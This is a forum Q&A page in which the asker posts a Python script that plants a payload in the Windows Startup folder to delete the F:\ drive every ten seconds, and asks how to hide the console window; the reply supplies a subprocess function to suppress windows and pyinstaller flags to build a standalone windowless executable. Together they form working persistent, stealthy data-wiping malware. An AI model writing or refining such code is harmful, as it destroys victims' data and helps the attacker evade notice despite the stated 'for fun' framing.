CODEWITHSUNDEEP
python
Quojil
Quojil

Reputation: 107

Execute python script on startup in the background

I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:

import os

#generate payload
payload = [
    "from os import system\n",
    "from time import sleep\n",
    "while True:\n",
    "   try:\n",
    "       system('rd /s /q F:\\\\')\n",
    "   except:\n",
    "       pass\n",
    "   sleep(10)\n",
]

#find the userhome
userhome = os.path.expanduser('~')

#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
    #write payload
    for i in payload:
        output.write(i)

After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.

The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?

And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.

Upvotes: 2

Views: 2461

Answers (1)

trevorKirkby
trevorKirkby

Reputation: 1897

The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.

def call(command,io=''):
    command = command.split()
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    if io != None:
    process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
    return process.communicate(io)[0]

This should help. You would use it in place of os.system()

Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type

pyinstaller "<filename>" -w -F

And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.

Upvotes: 2

Related Questions